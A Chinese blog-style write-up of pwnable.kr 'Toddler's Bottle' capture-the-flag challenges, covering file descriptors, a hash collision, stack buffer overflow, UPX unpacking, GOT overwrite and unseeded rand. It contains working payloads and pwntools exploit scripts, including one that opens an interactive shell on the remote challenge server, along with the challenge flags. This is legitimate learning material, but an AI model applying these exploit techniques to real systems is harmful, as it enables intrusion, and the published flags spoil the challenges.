Toddler's Bottle
fd
关于文件描述符的知识:对于标准输入输出,描述符是0
根据题目的操作ssh上去,输入4660(HEX完了是0x1234),这样read读入的就是自己的输入
这时候我们输入LETMEWIN就能够获得flag
flag: mommy! I think I know what a file descriptor is!!
collision
注意一个细节:\x00会被截断;
payload:
./col $(python -c "print '\xe8\x05\xd9\x1d'+'\x01'*16")
flag: daddy! I just managed to create a hash collision :)
bof
我们可以知道输入65个a后,有21个偏移到了ebp上,那么我们输入44个a后偏移到ebp上面,然后再偏移8位就可以得到解了。
那么payload就出来了
from pwn import *
address = 'pwnable.kr'
port = 9000
proc = process("./bof")
#io = proc
io = remote(address,port)
context(arch = 'i386',os = 'linux',log_level = 'debug')
cafebabe = 0xcafebabe
io.sendline(b'a' * 52 + p32(cafebabe))
io.interactive()
理论分析一下:我们打开IDA看一下
s->var_C有32字节,var_C->arg_0有12+8=20字节,加一块52字节。那么我们总偏移是52字节的pad。
flag: daddy, I just pwned a buFFer :)
flag
逆向,IDA一下,没看懂
运行一下,得到
感觉不明所以。不过这句话提示我觉的要用gdb看一下。
然后不会做了……查了网上题解要脱壳……
好吧,那就按照脱壳的流程来做一遍。先用ExeinfoPE来查询以下壳,发现是UPX。
于是我们就找找脱壳工具,于是发现了upx的脱壳方式
把程序弄出来,IDA看看,一目了然。
注意结尾有一个笑脸字符不要丢即可,鼠标放上去即可看到。
flag: UPX...? sounds like a delivery service :)
passcode
代码都给了,直接做就行
然而,仔细看看发现scanf没加取地址符,所以直接输入是肯定行不通的。那么我们照着网上大佬的做法来做一下:
先开python,查看下情况:
看起来防护齐全,接下来我们继续按照题解复现:
注意到main中两个函数welcome、login是连续调用的,而且程序没有开PIE(地址随机化)保护,所以我们可以用一个叫GOT表复写的技术来实现操作;
找到了printf函数的GOT表,考虑到那么我们接着把passcode1的值改成printf的地址,那么接下来scanf就会用新数据覆盖掉这个地址上的数据,这个新数据由我们自己指定,我们就可以利用这一点来覆盖掉原来printf的地址,然后再之后调用printf的时候就执行那个我们指定的函数从而得到flag。
那么我们写个脚本操作下(注:那个我们要执行的地址可以用objdump -d查询得到):
from pwn import *
io = process('./passcode')
print_addr = 0x0804a000
sys_addr = 0x080485ea
sc = 'a' * 96 + p32(print_addr) + '\n' + str(int(sys_addr)) + '\n'
io.send(sc)
io.recvall()
!
flag: Sorry mom.. I got confused about scanf usage :(
random
这次是直接给了个rand,然后就要你求个值跟他异或后是0xdeadbeef。
但是由于没有初始化随机种子,所以每一次的rand值都是一样的。
所以我们只需要测试下这个值多少就行。
得到值是1804289383
那么算下就得到答案了。
flag: Mommy, I thought libc random is unpredictable...
input2
虽然题目名叫input,但是登录账户名叫input2,那么还是叫input2吧。。。
好烦,分了好多阶段,之后有时间再做。。。
Comments NOTHING